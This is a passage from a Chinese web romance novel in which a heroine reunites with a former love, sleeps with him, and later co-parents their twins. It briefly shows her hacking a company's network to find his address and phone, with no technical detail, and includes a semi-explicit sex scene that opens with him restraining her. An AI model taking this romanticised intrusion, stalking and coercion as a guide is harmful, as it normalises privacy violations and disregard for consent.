而出院后,妈妈对她更加严格,她已经上了大学,却要在每天晚上和妈妈通电话,周五更要准时到家,晚回一小时妈妈都会变得很暴躁。 甄世明走后,她的生活好像彻底黯淡下来,就连他出国的消息,方楷莹也是听蓝梦说的,经历了这样的事情,蓝梦和秦赫的关系也冷了好久。秦赫痛骂方楷莹没有良心,警告她以后不要试图联系甄世明,蓝梦劝她放下,不要再想。 “我是不是做错了?”她问蓝梦。 蓝梦摇摇头,说不清是对是错。 看着手机里已经变为空号的号码,方楷莹内心整齐有序的小宇宙,突然之间塌掉一部分,而她守着剩下的部分,继续过着灰色的生活。 她开始频繁地梦到甄世明,梦到那个夜风脉脉的春夜,在梦中推演各种可能,如果她没有报警,如果她没有吃那盘菠萝,如果甄世明没有吻她… 她的想象力从来没有如此丰富过。 而每一次梦境中的想象,最后都会由一个血色的吻结束。 她去找了几次赵医生,但赵医生的建议无济于事。她总是做那样的梦,也仅有梦中的回想能牵动她的情绪,她能在梦中做出如那晚一模一样的身体反应,这个吻在她的思想里不断重复。 自此她成为一个心里藏有秘密而善于伪装的人,白天正常上着课,完成学业,做一个想法奇怪的天才,偶尔的晚上会偷出一会儿时间,来想念和重新体会。 人逐渐长大,懂的越来越多,这个吻在她脑海中重新加工,她会躲进被窝里,用夜晚想象着这个初次的吻,管理快乐和痛苦的中枢神经互相交叠,这让她总是在这种时刻小声哭泣。 而这样的时刻过后,她擦干眼泪,靠坐在微凉的墙壁,又在心里问自己,到底错了吗? 这样一问,便是三年- 方楷莹在大学就是优秀的女孩,研究生选择了甄真做导师,她把简历发出去,等到快要失望时才收到回复。 【我对学生比较严格,做我的学生会很辛苦。首先,希望你忘了那些不愉快的事,其次,我很愿意做你的导师。】 方楷莹读研之后,妈妈对她的管理才松懈一些,人忙起来每天晚上不用和妈妈通电话,但仍需要短信告知平安,妈妈也曾鼓励她谈恋爱,但告诉她不要把“那件事”告诉别人。 优秀的女生会被人喜欢,方楷莹在学校也不乏追求者,但她看上去很有距离感,敢追的人不多。 偶尔有一两个,但在接触的阶段就发现她这人性格有问题,有时说话让人觉得摸不着头脑,有时讲话不顾他人情绪,受不了她。 最近约她的是研二学长,在她刚进入课题组就开始注意她,帮过她几次,也被她帮过几次,觉得她是个内敛恬静的女孩,试着约她在不错的餐厅吃饭。 她说自己只有周一到周四能在外吃饭,周五之后要回家,学长打趣她家教真严格,像小学生。 两人约在周一晚上,西餐厅里灯光暧昧,但方楷莹只顾着摆弄刀叉。 “你一定没谈过恋爱吧?现在和你谈恋爱的话算早恋吗?”学长笑着问她。 “我妈妈确实很严格。”她一板一眼地回答。 学长托着腮看她,眼睛温柔似水,“你喜欢跟我吃饭么?” 方楷莹手里的刀叉忽然停住,眼前出现甄世明微弯的唇角,问她“喜欢我么?” 她红着脸低头不语,学长只当她是害羞,笑她:“我只问了这么一句,你怎么脸红了?” “我——” 身后不远处有一桌,几个男女的嬉闹声打碎了她的话,她清晰地听到“甄世明”三个字,一回头,望过去,正撞上一双注目着她的眼睛。 咕咚、咕咚、咕咚。 雨点坠入湖面,晨露在叶尖掉落,心脏乱撞出声浪。 他人更瘦了些,头发更短了些,下颌线条更利落,穿纯白衬衫打黑色领带,颈线修长,袖口卷起到小臂,修长的手指握住酒杯。 方楷莹呆呆地看了很久,即使甄世明已经把脸扭开与他人谈笑,连学长也顺着方楷莹的目光看过去,不太高兴地问她:“有认识的人?” “没有,”她摇头,说谎:“不认识。” 这句话出口,便又感觉到身后有人注目,但她不敢回头,她是甄世明的瘟神,会给他带来厄运,起码秦赫是这么说的。 之后的饭她吃得心不在焉,听到那桌畅聊国外风景,也听到甄世明接过账单签字,但她却连再看向他的勇气都没有。 吃过饭,学长开车送她回学校,她一直低着头走神,学长见她脸上意兴阑珊,便问:“你今天不开心吗?” 开心吗?不开心吗? 她令人费解地摇摇头。 学长虽然觉得有点儿奇怪,但也没在意,跟她滔滔不绝地讲自己这一周的实验,方楷莹偏头看着窗外,忽然对他说:“学长,我想下车自己走回去。” “现在吗?” “嗯。” 学长愕然,“外面很冷的,今天预报有雪。” “嗯,放我在路边就好。”她坚持说。 她距离学校五公里外下了车,一个人往回走,京市的冬天冷空气干燥尖锐,钻进鼻腔让人走着走着就想流泪,脑袋里一团浆糊,就连零下的冷风也没吹醒她。 学校地处偏远,快走回去时路灯也变得微淡,她这才感觉有车灯照在脚下。 转身,回头。 京市的第一场雪,在此刻落下。 雪粒簌簌而下,被车灯照得晶莹,融在脸颊发梢,冰凉透骨。 她定定站在原地,甄世明的手搭在方向盘上,保持着不远不近的距离。 看向她的眼神仍然复杂,她不确定甄世明是不是还恨她,或许是想开车撞她,或许在等她道歉。 可当她做好心理准备,要向他走去的时候,甄世明的车掉头开走了。 那天晚上方楷莹失眠了- 几天之后,方楷莹又一次来到赵医生的诊室。 她不安地告诉赵医生,那个人回来了,她的心脏又开始作病。 “即便是三年之后吗?” “嗯。” “当时处于什么危险场景吗?” “我、我不确定他是不是想开车撞我。” 赵医生沉吟片刻,说:“楷莹,我们做一个实验好不好?如果你可以继续接触这个人,把每一次的心情记录下来,尽可能多的收集数据,我最近在做‘述情障碍’的治疗方法,这是一个不错的方向,就当你帮帮我,你难道不想知道你对这个人是真的喜欢还是‘吊桥效应’下的错觉吗?” 方楷莹默默点头。 普通人可以明晰自己的心意,而方楷莹是一位患者,她的感情需要由医生来判断是否真实可靠。 这次会面之后的几个夜晚,方楷莹连续失眠,她想靠自己来想清楚这错综复杂的情感问题,最后还是失败了,她不知道对于多年不忘的这个人,她的愧意更多,还是喜欢更多。 于是她打开电脑,重新查找,甄世明的信息又开始出现在互联网,他在几家公司做了小股东,她找到盘子最小、网络安全系统最薄弱的一家公司,连夜攻入内网系统,找到甄世明现在用的电话和住址。 连她自己都觉得这种行为有点儿疯狂了。那种隐秘的兴奋感再次来临,她的手一直在抖,精神却无比集中,摁下键盘点击鼠标的每一次,都没有犹豫。 觉得甄世明不会接她电话,接了知道是她也会挂断拉黑,于是她有预谋地出现在甄世明的地下车库等他回来面谈。她站着等蹲着等坐着等,一直等到深夜。 在外应酬的甄世明喝了酒,归来时仰靠后排闭目。饭局里那些人糟透了,没一个有意思的人,他烦透了。 司机突然的鸣笛声吵到将将欲睡的他,眼前有点儿花,他皱起眉,车灯下是那蜷腿坐在地库前的人。 她穿红色的兜帽卫衣,外面裹着厚厚的羽绒外套,细细的脖颈折下,脸埋在膝盖,屁股下垫着本儿书坐着睡在地库门前。 鸣笛吵醒她,她抬起头,细弯的眉拧着,伸双手去挡耀眼的车灯,看起来像一副投降的样子,扶着门站起来的时候腿软酸麻,又站在那里不停跺脚。 这个笨蛋! 他摔门下车,捡起地上的书递给她,但没等她说一句话,就转身往电梯口走。方楷莹拖着酸麻的腿也一蹦一跳窜进去。 甄世明不刷卡,电梯门就一直开着,他穿剪裁利落的整套西装,身上有酒气,还有淡淡的烟味,说话时声音低沉微哑。 “你有什么事?”甄世明问。 “我想和你谈谈,和你道歉。”方楷莹整理一下罩在头上的兜帽。 甄世明脸色沉沉,很久没说话。 方楷莹伸出手指指向电梯门,弱弱地问:“你不刷卡吗?” “刷不刷卡跟你有什么关系?”甄世明不耐烦地说,“有话在这儿说清楚。” 方楷莹低着头,说:“我想跟你道个歉” 甄世明很冷淡地说:“不用。” “对不起,我——” “我说了不用。” “可你还生气。”她声音低低地说,“我觉得你一直生我的气。” 甄世明也不看她,舌尖碰了碰曾经的伤口,“你想多了,我没那么大气性。” 方楷莹紧抿着唇,下巴鼓鼓,不说话,也不走。 “你说完了吗?”甄世明看向她,木呆呆的一个人,手还紧攥着电梯的扶手,好像怕他把她赶出去。 方楷莹点点头,又使劲摇头,“你那天在车里那样看我,我知道你还在生我的气。” “所以呢?方楷莹。” 他松开紧箍的领带,沉沉呼气,烦躁地说:“你跟我道歉,我说我原谅你,然后呢?你想要什么结果?我们手拉手继续做好朋友吗?你是小孩儿吗?!” 方楷莹低下头,被他说得委屈,咬着嘴缓了好久,才问:“所以你能原谅我吗?” “我说了不用道歉,你没有错。”他仰头叹气,“你听不懂人话吗?” 方楷莹无声,但没有要走的意思。 甄世明被她气得没招了,双手一拤腰,混不吝的底色又显露出来,“怎么的?要耍赖,不原谅你不走了?” 方楷莹坚定地点头。她这样一个人,较真起来让人无语,固执的时候让人想踹两脚,谁都拿她没招。 甄世明点头说行,掏出电梯卡,狠狠摁下,“那别他妈走了。” 作者有话说:v 第29章 电梯缓缓关闭, 直上顶楼。 年轻的方楷莹还不懂,跟一个男人回家意味着什么,只是她和甄世明待在并不算狭窄的电梯厢里, 心口一阵阵地发颤。 她怕甄世明赶人, 比他抢先一步进门,直直坐在沙发上, 两条手臂紧紧抱住沙发扶手。 甄世明眉头一皱, 这人总是能做出让人意想不到的动作,她的脑袋里到底是怎么想的呢? 他换下鞋,站在穿得鼓鼓囊囊的方楷莹对面, 她正以一个非常伤腰的姿势扭坐在沙发上, 眼睛看着光洁的地板。 甄世明蹲下身平视, 又问:“是不是我不说原谅你,你就在这儿呆到死?” 方楷莹想了想, 固执地点头。 “好。那你呆着吧。” “记得保持动作。” 他把灯都打开,自己进了卧室。方楷莹抱住沙发, 转头看到客厅立着一巨大的鱼缸, 里面一尾红龙鱼游来游去,不确定是不是度假村那条, 她松开沙发, 挪步走到鱼缸前, 伸出手指,龙鱼缓缓向她摆尾游来。 她看呆了。 没想过能再见到这条鱼, 她愣愣看了很久, 知道耳后出现甄世明阴冷的声音:“不是让你保持动作吗?” 她比龙鱼更不禁吓,肩膀抖了一下,迅速跑到沙发旁, 重新抱紧。 甄世明彻底没招了,本以为不搭理她就会走,但洗完澡换了衣服出来,人还在这儿。 “走吧,成吗?” 她下巴贴着沙发扶手摇头。 甄世明脸色一沉,端正地坐在她身边,摆出准备好好谈的姿态。 “你坐直了我们谈。你说要我原谅你,因为你觉得自己做错了吗?那我跟你说,你没做错,我也知道你没做错,所以你不需要跟我道歉,也没有原谅不原谅一说。” 方楷莹报警的行为是没有错的,她是个女孩子,觉得危险就应该报警。 他不是完全不讲理的人,但他心里不舒服,这种不舒服来源于哪他不知道,或许是觉得方楷莹应该信任他,或许是因为看清自己在方楷莹心里是个多么糟糕的人。 并不是所有事情都得争个对错出来,世界也不是非黑即白,但他就是心里没滋没味,甄世明快意潇洒的人生中第一次感觉纠结。 但方楷莹无需对此负责。 很多事情说不明白,再翻来覆去没意义,她的行为合情合理,他也本以为情绪会慢慢消化。 “可你还是受到了伤害,我妈妈打了你” “我自作自受。” “你也可以打我。”她紧抠手指,闭上眼睛把脸侧过去。 在外面待了太久,她的脸蛋白里透着红,眼皮微微颤着,长直睫毛一抖一抖,喉头轻轻咽下。 这让甄世明很轻易就想起度假村那天晚上,难道他当时没想过要做更过分的事儿吗?亲吻结束的那一瞬间,想过的。 所以要论心,他并不清白。 现在定定看着她的脸,旧伤痕微微发痒,他咬了咬唇,气息沉沉,狠捏住她的脸。 “是你自己送上门的。” 方楷莹没反应过来,滚烫的唇就贴紧她的唇,人欺压过来,捏着肩膀把她推倒在沙发。 两个身体陷进沙发里,吻紧缠住她,来得又急又狠,说他醉酒意识不清,但方楷莹喘不过气想咬他的时候,他却能预判到,先咬了她的嘴唇。 微疼的轻咬让她咻咻喘气,细弯的眉头紧蹙,嘴唇又被轻轻舔舐抚慰痛感,抵开唇瓣,舌头搅缠在一起,分泌的唾液被他全数吸尽,他的喘声越来越重,握紧细瘦的手腕,人推也推不开,挣也挣不得,甚至在她扑腾双脚时,他用膝盖抵开她的双腿。 欲念是一簇鬼火,唾液和酒精助燃,甄世明胸中一团火越烧越旺,整个身体都在渴望一场雨水,他单手将方楷莹的双腕紧束,腾出一只手扯开这该死的羽绒服。 少女腰肢在臃肿的衣襟下显得纤细易折,身下的人浑身战栗,抖成一团,喘息声时有时无。甄世明有点儿清醒过来,看她的耳尖在明亮处透红,嘴唇被他吻得微肿,湿润的眼泪藏在倔强的眼角,让人于心不忍。 他人还压着,伸臂探过手机,按了三个数字,缓缓松开方楷莹的手腕,微沉的声音说:“我现在这样对你,你可以再报警抓我,以后不用怀有愧意。” 不管怎样,他认了。 微亮的手机屏幕在方楷莹眼前模糊,她看着甄世明,伸出颤抖的手,按下息屏键的那刻眼泪也流入鬓间。 甄世明怔了怔,方楷莹的手臂穿过肋间,紧紧抱住他。 之后的一切便都不一样了。 甄世明迟迟没有动作,她攀抱的姿势吃力,松开一点点,后背便被他托起,要她继续抱住他,她微张着唇,将内心欲望以亲吻的方式告知于他。 甄世明忽然托着后背抱起她,让她跨在身上,再吻时他有点儿恶劣地用手稳住她的腰侧,一边急迫地脱掉她身上的圆领卫衣,领口太小,被他使力一扽,头发便更散乱飘起,她的脸羞得通红。 “能不能关灯?”她在缠热的吻中低问,特别需要黑色的环境掩住烧红的脸颊。 甄世明的劣性在这时淋漓尽致,分开交津在一起的嘴唇,手滑向肩带,同时拒绝,“不能。” 方楷莹再也推不动他,只能任由热烈的喘息扑向心口,她受不住,缩起肩膀颤抖,手指紧紧扣住甄世明结实的肩膀,他就是要让她看着,看清楚自己是如何被舌尖一点点卷起吞掉,他知道方楷莹四肢的皮肤冰冰凉凉,总有一两处温热,现在他探寻到一处仍不满足,手顺着腰线下滑。 他确实太坏了,这样面对面的坐姿让她只能紧紧抓住他的手腕,这对方楷莹来说太超过了,与自己裹在被窝里的感觉截然不同,她把脸埋在甄世明颈窝,最后绷不住,人软在他怀里,眼泪控制不住地掉下来。 “哭什么?”他用湿润的指腹抹去她的眼泪,“还没到哭的时候。” 可她控制不住,趴在甄世明的肩上哭得气喘,他轻轻拍在后背,重新把她放躺在沙发,人又压过来,手臂撑在沙发上,鼻尖轻碰鼻尖,看她涨红的脸色。 “我问你,那个男的是谁?” “哪个?” “有几个?”甄世明恶狠狠地问。 她害怕他这种表情,蜷起手指比了个“0”。 “那晚餐厅的是谁?” “学长。”她很老实地回答。 他眯着眼看她,将信将疑:“你喜欢他?他喜欢你?” 她躲开脸,轻轻摇头。 甄世明脸色沉沉,目光凶狠,掐住她的下巴迫她正面回答,“那你喜欢谁?” 她咬自己的嘴唇,迟迟说不出口。 三年来他都在纠结这个问题,现在见她还不说话,人气极了,凶巴巴地说:“不喜欢我,湿成这样?不喜欢我,愿意被我亲,被我摸,被我——” 方楷莹的脸滚烫滚烫,伸手去捂他的嘴,却被他捉住,把手指放进口中咬,“你不喜欢我,我喜欢你。” 这是甄世明那晚说的最后一句话,剩下的都付诸行动,她没有依靠,只能紧紧攀住他的肩膀,他出了汗也发了狠,鲁莽地将她撞开,把方楷莹也疼出了汗,但她还是一声不吭。 后来皮肤逐渐滚烫,另一种感觉更激烈地淹没痛感,他的吻狂风暴雨般落在各处,将她生命中每一寸褶皱淋湿抚平,让她重新舒展,鲜活。 那个晚上她反复流出眼泪,强烈的刺激感让她多次眩晕,最后彻底没了意识。 再醒时甄世明还在熟睡,她坐在床头看着甄世明的睡颜,忽然觉得昨晚荒唐,她被他审问一番,她竟然没问问甄世明现在是否有女朋友。 她想起那天餐厅里,甄世明身边有男有女,想叫醒他问问,手伸过去,却又缩回,假如他真的有,她该怎么办?假如他没有,又该怎么办?请他做男友?妈妈知道了怕是会疯。 最后她捡起散落在客厅的衣服穿好,趁甄世明熟睡时悄悄打开门,一声不吭地走掉。 第30章 年轻的方楷莹会在荒唐的夜晚过后离开, 甄世明不会在她醉酒的夜晚离去。 他非但不会离去,还会在第二天清早吵醒她,她人窝在棉被里头疼, 内心发誓以后再不喝酒, 而后听到甄世明在客厅打电话报她家地址。 她揉着乱七八糟的的头发走出去,甄世明容光焕发, 精神爽朗, 甚至换了一身衣服。 昨夜他们吵架、气极、推搡、拥抱,最后方楷莹真情实感的眼泪把他哄好了。 “你昨天不是在这儿睡的吗?”她指了指沙发。 甄世明看着她的鸡窝头,脸上嫌弃, 整理一下领带, “我五点钟回甄家接甄橙和甄芯, 路上给他们两个开家庭会,回家换了衣服又送去幼儿园, 时间正好没迟到。” 知道你精力旺盛了。 这都是你应该做的。 方楷莹“哦”了一声,打着哈欠往卫生间走, 却被甄世明叫住, “给你煮了粥在锅里,换好衣服乖点儿喝了, 我找了搬家公司, 一会儿你该上班上班, 中午该吃饭吃饭,晚上——” “你先等会儿。”方楷莹抬手止住, 人有点儿懵:“什么搬家公司?” “哦, 叫‘一窝端’搬家公司。” “我问你为什么会有搬家公司来?!”昨晚明明说好不吵架,这一大清早,方楷莹首先没控制住音量。 今天甄世明心情不错, 人特宽容,始终保持耐心,“妈妈和孩子不应该住在一起吗?现在你未婚夫,哦不,前未婚夫,也不,是那个和你没有任何关系的男人走了,你不是应该回归家庭了吗?” 方楷莹本就醉酒,现下更是被他绕晕了,“是,但是——” 甄世明大手一挥,指向汪先生的卧室:“我觉得那个卧室可以改成卫生间,以后这个房子就当你的独立工作室,你把需要带的东西先收拾好,不然一会儿你上班去,搬家公司来人我不知道哪些应该留下。” 方楷莹:“” 神经病嘛这不是! 她“砰”的一声摔上卧室门,换下睡衣,坐在床边猛灌蜂蜜水,而甄世明一直门外忙活。 “你书房里的书要拿哪些啊?” “衣服先不用拿,你的丑衣服我不喜欢。” “赶紧出来把粥喝了。” 方楷莹再也受不了了,踩着拖鞋气势汹汹走到他眼前,手指翘起挥向门外:“你给我滚出去!” “跟我来劲是吧?”甄世明一拤腰,但不想跟她吵架,还仅存了一点点耐心,“昨天说好好的,今天怎么翻脸不认人?” 方楷莹努力回忆,虽然她喝醉了,但还没到断片的程度。昨天他们说好为了孩子不吵架,但说她要住到山顶别墅去了吗?答案当然是没有。 “橙橙和芯芯可以到我家里来住,不是我要住过去!”方楷莹忍不住对他吼。 “你这房子做过适童化改造吗?嗯?”他俯身看她:“家里能容下两个孩子奔跑吗?嗯?” 方楷莹牙齿咬得咯咯响,“我明白你的意思,你嫌我的家小,但孩子不一定嫌贫爱富,除非你教他们嫌贫爱富。” 一句话戳在甄世明肺管子上,他变了脸色,冷冷一笑,一副混蛋样儿。 “不,你不明白。我是说你家马桶挨着洗衣机,洗衣机挨着热水器,怎么不把灶台也放进去呀?斯是陋室,惟吾德馨是吧?住这样的房子特别磨练意志吧?是不是觉得自己特像出租屋文学里的坚韧傻白花?” “你!给!我!滚!” 方楷莹推推搡搡把甄世明赶出去,“嘭”的一声摔上门,靠着门板环视一圈,哪里有他说得那么糟糕?- 把甄世明赶走以后她的心情也没好一点,梳洗穿衣上班路上都在想他,好好的一个男人,怎么就不能是哑巴呢? 平复心情开组会,吴忧非常狗腿地递过一杯咖啡,指了指方楷莹昨夜哭肿的眼睛,嘘寒问暖:“导,眼睛过敏了吗?怎么肿肿的?” “没睡好。”她揉揉眼皮,接过咖啡。 “导,我昨天也没睡好。”吴忧托腮。 方楷莹关心:“做实验?” 吴忧:“看小说。您知道嘛,我昨天熬夜看了一本书,出租屋文学,书里女主角气质特像您,我全程代入看到凌晨四点。” 方楷莹撩起眼皮:“……” 吴忧的眼睛还眨来眨去给她卖萌。 她慈祥地拍了两下吴忧的肩膀,露出伪善笑容:“小吴忧,论文写完了吗?发给我看看。” 吴忧轻轻闭上嘴。 — 正在看吴忧的论文,蓝梦又打来电话问候,电话里她声音高亢,透着八卦:“莹莹,酒醒了吗?昨晚是不是一场酣畅淋漓的做恨?” 方楷莹:“……” 做是没做,恨得咬牙。 “说话呀莹莹,激烈得今天都出不了声儿了?” “……没有。” “没有???甄世明没去你家?不能吧,我都告诉他你喝多了!” “来是来了。” “我就知道!然后呢?”蓝梦急切地问。 然后呢? 然后在她面前尽情展现刻薄与傲慢。 方楷莹说:“然后嫌我房子小。” “啧!什么毛病?大少爷在小房子里做.爱会早.泄吗?”蓝梦为她打抱不平,在电话里狠狠批判甄世明,最后说:“别理他,神经病似的。” 方楷莹很认同她的后半句话,默默跟着点头。 “莹莹,你猜我在商场干嘛呢?我在给橙橙和芯芯买生日礼物,所以想到给你打个电话,你买好了吗?” 方楷莹还没想过,小时候家里条件有限,她过生日妈妈都是买个小蛋糕,多添两道菜。 “我还不知道他们需要什么,找机会问问吧。”她现在有点儿后悔和甄世明又吵架,明明知道孩子们的生日快到了,起码大人应该装出和睦相处的样子。 蓝梦很贴心地提醒她:“那你一定记得礼物要买一模一样的,要不然,仅仅是颜色不一样,两个孩子都得争一番。” 挂断电话之后,方楷莹又想了想,虽然还生甄世明的气,但他的屁话不无几分道理,她的房子确实没有做过适应儿童的改造,起码应该准备儿童床防撞条什么的。 于是她在同城软件里找了家装设计公司,约好时间去房子看看,再聊一下改造计划。 甄世明给她发微信时,她正在装修公司看设计方案,设计师说一旦开始改造,工人干活家具进门少说也得一周时间,她正在思考这一周要去哪里住,打开甄世明的对话框。 【出差五天,家里没人。】 方楷莹眉梢一挑,这么巧吗? 方楷莹:【是要我去吗?】 甄世明:【不是,是要把孩子丢去孤儿院,告知你。】 方楷莹:【……】 甄世明:【来不来?】 方楷莹:【我去!】 甄世明再没回过微信- 甄世明出差的那几天,方楷莹暂时住在山顶别墅,每天接送照料孩子,日子过得也算充实。 现在这两个孩子和她亲近,也都省心,尤其是橙橙,自理能力很强,照料自己的同时还能腾出心思关心方阿姨。 他总是学着爸爸教育他的样子,在方楷莹看书时用小手把书推远些,告诉她应该保持适当的看书距离才能对眼睛好,那一举一动像个小大人。 而且橙橙这孩子打小就是情种,总和方楷莹念叨幼儿园的子涵,说她是自己最好的朋友,有什么好吃的好喝的除了要给弟弟,就惦记着给子涵拿去。 方楷莹接孩子时见过那乖巧漂亮的小姑娘,和橙橙牵着手出校园,旁边还跟着努嘴不高兴的芯芯。 方楷莹站在幼儿园门口,冲脸拉得老长的子涵爸爸尴尬笑笑。 拍了几张照片发给甄世明,证明她接到孩子了,甄世明回复:【要不然把你的房子卖了,就当攒彩礼了。】 方楷莹:【】 如果说橙橙像小大人,那芯芯就是真正的小儿女。自从和方楷莹有了小秘密,他总是悄咪咪地黏在她身边,走路的时候要牵手,做饭时小手揪着她的衣角,睡觉前也要枕着她的手臂听她讲故事,第二天早上醒来第一件事又是找她抱。 在逐渐相处的过程中,方楷莹更多地了解到两个孩子的脾性,也逐渐总结出一套自己的方法,称之为【甄橙甄芯抚养手册2.0】。 2.0里记载了橙橙和芯芯的微小习惯,也记载了他们掌握的技能和尚未掌握的技能,比如说骑自行车。 家里有车有司机,他们总是坐车去上学。甄世明觉得自行车这种两轮的都属于危险物品,孩子不摔几次学不会,但他并不想让他们摔跤,他的孩子人生坦途,干嘛要学这种东西? 但橙橙偷偷告诉过方楷莹,用那种艳羡的语气说小朋友都会骑自行车,所以方楷莹决定今年的生日就送他们自行车- 甄世明假模假式“出差”了几天,每天下班之后直接去秦赫的酒庄,打声招呼就住在那里。 秦赫以为兄弟情伤未愈借酒浇愁,便抛下新婚燕尔的妻子,愣是陪甄世明在酒庄喝了好几天。 甄世明酒量好,秦赫喝不过他,天天被他灌得爬不起床,甄世明却精神奕奕不耽误次日工作。 几天之后,秦赫受不了了,劝他回家:“方楷莹虽然伤害了你,但你也别伤害我呀。而且孩子是无辜的,两个小崽子最近都送回甄家了?以后你摆烂不管了吗?” 甄世明一手转动酒杯,一手拿手机看家里监控,漫不经心说道:“谁说不管,先让方楷莹管几天,过几天就是冬至,让她和孩子培养培养感情,到时候和孩子坦白,也好接受一点。” 方楷莹在人情世故上是有点儿傻的,以为有了血缘关系,孩子就能快速接受从天而降的“妈妈”,但甄世明了解孩子,芯芯性子软依恋母亲,没准会很快接受,但橙橙从小有大人思维,不一定会好好接受这个离开多年的母亲。 “那你在家里不是更好培养感情吗?”秦赫撇撇嘴问,“怎么?你们不能同时出现在孩子眼前?” 甄世明抿了一口酒,苦笑:“嗯,她要孩子,不要我。”- 秦赫几天不回家,蓝梦不高兴了,一不高兴就刷他的卡,约方楷莹出来逛街。 方楷莹也正想出去给孩子买自行车,两人一拍即合,大学时就挎着胳膊逛街,现在两人都三十岁了,蓝梦还挎着她的胳膊。 方楷莹给男孩子选了一款炫酷的折叠自行车,银灰车架,金属漆面,碳纤维鞍座,米其林轮胎,问完价格她懵了,咬了咬牙买下了。 蓝梦也和她讲起橙橙和芯芯从前每一年的生日。 每年橙橙和芯芯的生日会,甄世明都得热热闹闹办派对,请专业的策划公司,提前一个月准备,一场生日派对花个几十万。 除了甄家人,甄世明还会邀请橙橙和芯芯的好朋友以及好朋友的父母。孩子们在儿童乐园嬉笑玩闹,大人们盛装出席,喝酒社交,拓展朋友圈。 方楷莹一听到这些,头都大了。 喝酒社交。 怕啥来啥。 她皱着眉头走神,光是想到已经开始浑身难受了,蓝梦在她面前晃手:“想什么呢?” “没,没什么。”她深吸一口气,暗暗告诉自己,能做到的,为了橙橙,为了芯芯。 蓝梦打量她一眼,“我知道你社恐厉害,害怕了吧?” 方楷莹明明都快流汗了,还装英勇就义模样,“不,不怕。” 蓝梦哈哈笑说:“方教授,长大了。” 方楷莹:“” 和蓝梦分别时,蓝梦忽然对她说:“你快管管甄世明吧,我们家秦赫跟他厮混在一起,已经好几天没回家了!” 方楷莹听得一头雾水:“甄世明在出差啊。” “出差个屁!”蓝梦撇撇嘴说:“他天天晚上住在我们家的酒庄,不要脸的自己没人陪就拉着我们家秦赫陪他!” 方楷莹费解:“他为什么要这样?是想把责任都给我吗?” 蓝梦摇摇头道:“甄世明在别的方面不当人,但绝对是个好爸爸。你难道看不出来吗?他在给你制造和孩子独处的机会,培养好感情。你脾气这么倔,他在你就不在,那他可不得找理由走了呗,不管怎么说,你把他带走吧,别祸祸我们秦赫了!” 蓝梦扭腰委身坐进跑车走了,方楷莹站在原地陷入沉思。 — 那天晚上,甄世明“出差”回来了。 橙橙最先扑上去,激动地抱住爸爸的腿,莽莽撞撞的小伙子把甄世明撞得身体晃了一下,他蹲下身回抱住橙橙,芯芯也小跑过来,小热手捂在他微凉的脸颊上,俩孩子叽叽喳喳说想他。 甄世明问孩子和方阿姨过得开心吗?又说回来收拾点儿东西,还得“出差”几天。 方楷莹在一边看着,并不言语。 他陪孩子玩儿了一会儿,看着孩子刷牙洗澡,又把两个孩子各自哄睡,搭配好第二天要穿的小衣服。 这一套流程结束之后,甄世明进衣帽间收拾“出差”行装,下楼时方楷莹正坐在地毯看书,见他下楼,把书放在膝盖,问他:“又出差几天?” “说不准。”他手提行李包。 方楷莹干巴巴地“哦”了一声,又说:“我最近给家里做适童化改造了,还得几天才能完工。” 甄世明简短地“嗯”了一声。 “你跟我没话说?”她问。 他耷着眉眼,“我怎么知道哪句说完你又让我‘滚’?” 方楷莹:“” 方楷莹也不说话了,继续拿书来看,甄世明放下提包走到她面前,屈腿坐下,“这样吧,你多说点儿,我少说点儿,最近橙橙和芯芯怎么样?” 两人为了和彼此好好说话,都压着性子,她跟甄世明复盘这几天的生活,甄世明传授给她一些带孩子的经验,似乎只要不说从前,两个人就能好好说话。 “你知道吗?芯芯那天叫我妈妈。”方楷莹一直顾着和他吵架,却忘了和他说这件大事,她说了全过程,唯独没提那张照片,像是刻意避开什么。 “嗯,芯芯那孩子心思很敏锐。”他给方楷莹仔细分析两个孩子,“你别看橙橙平时大大咧咧的,有的时候也难搞,固执起来很像你。” 方楷莹的脸臭下来,“像谁?” “像我。”他迅速改了口。 方楷莹白了他一眼,继续说她最近和孩子发生的各种小事,说橙橙幼儿园的小女朋友,说芯芯的魔方被玩坏了,说自己给孩子买了自行车做生日礼物。 连她自己都没发觉,她和甄世明说这些的时候,眉梢眼角都含着笑意,是真的开心。 甄世明长腿屈起,松弛地靠着沙发,一直看着她的笑容。 气氛温馨得不对劲,方楷莹看到他眼中的温柔,突然觉得不好意思,停止了“喋喋不休”的讲述。 “怎么不说了?”他问。 “说完了。”她装模作样看书。 两人僵了一会儿,方楷莹不说话时当真一句不说,甄世明自觉没趣,站起来提行李包,“那我走了,你早点儿睡,我明天还要赶早班机。” 他刚一起身,方楷莹又放下书,犹豫了一会儿,还是说了:“在酒庄住不习惯吧?蓝梦说不让你再找秦赫了。” 甄世明后背僵住,不敢回头看方楷莹什么表情,“她都跟你说了?” “嗯,”方楷莹点点头,自己也觉得尴尬,看了眼甄世明手上轻飘飘的行李包,说:“那什么,如果你没有真的早班机要赶,就别走了。” 甄世明缓缓把行李包放下,两人又各怀心事地陷入沉默。 “爸爸妈妈,你们在干什么?”站在楼梯的芯芯打破沉默,也把他们两个大人从尴尬的气氛中解救出来,让两人都暗暗舒了口气。 他是半夜起床发现妈妈不在身边,赤脚揉着睡眼找过来的。 方楷莹先扔下书迎上去,摸着芯芯的发顶说:“爸爸突然接到电话,说出差取消了。芯芯,开不开心?” 芯芯的小脸扬起,笑得甜蜜可爱,用力点点头,“太好了!这样爸爸妈妈就能一起和我睡觉了!” 方楷莹:“啊?” 作者有话说:甄世明:芯芯是我好大儿![摸头]《 》 30-40 第31章 小孩子兴奋起来就不管别人死活, 也早就忘了“和妈妈的小秘密”,噔噔噔跑下楼,双手抱起爸爸的行李包, 却疑惑道:“咦, 好轻。” 甄世明:“” 方楷莹抿起嘴唇憋笑,直到芯芯抱着行李包站在她面前, 仰起小脸再次请求爸爸妈妈和他一起睡。 “爸爸妈妈”方楷莹面露难色, 想说爸爸妈妈早就不在一起睡觉了。 没说出口的话被甄世明打断,他把楼下备的拖鞋套在芯芯脚上,说:“芯芯上楼躺好, 让妈妈先陪你睡, 爸爸洗了澡就一起陪你睡觉, 成吗?” 小孩子用力点头,欢天喜地抱着行李包跑进衣帽间放好, 又乐颠儿颠儿地跑上楼,还不忘回头和方楷莹眨眼睛, “妈妈你要快点哦。” 方楷莹笑着和孩子招手, 等芯芯消失在楼梯转角,笑脸就掉下来, “你什么意思?” 甄世明双手一摊, 表示无辜:“我没意思啊, 孩子的意思。” 方楷莹盘着胳膊,眉头蹙在一起, 恼道:“你怎么能顺着孩子的意思?” “我不顺着孩子的意思, 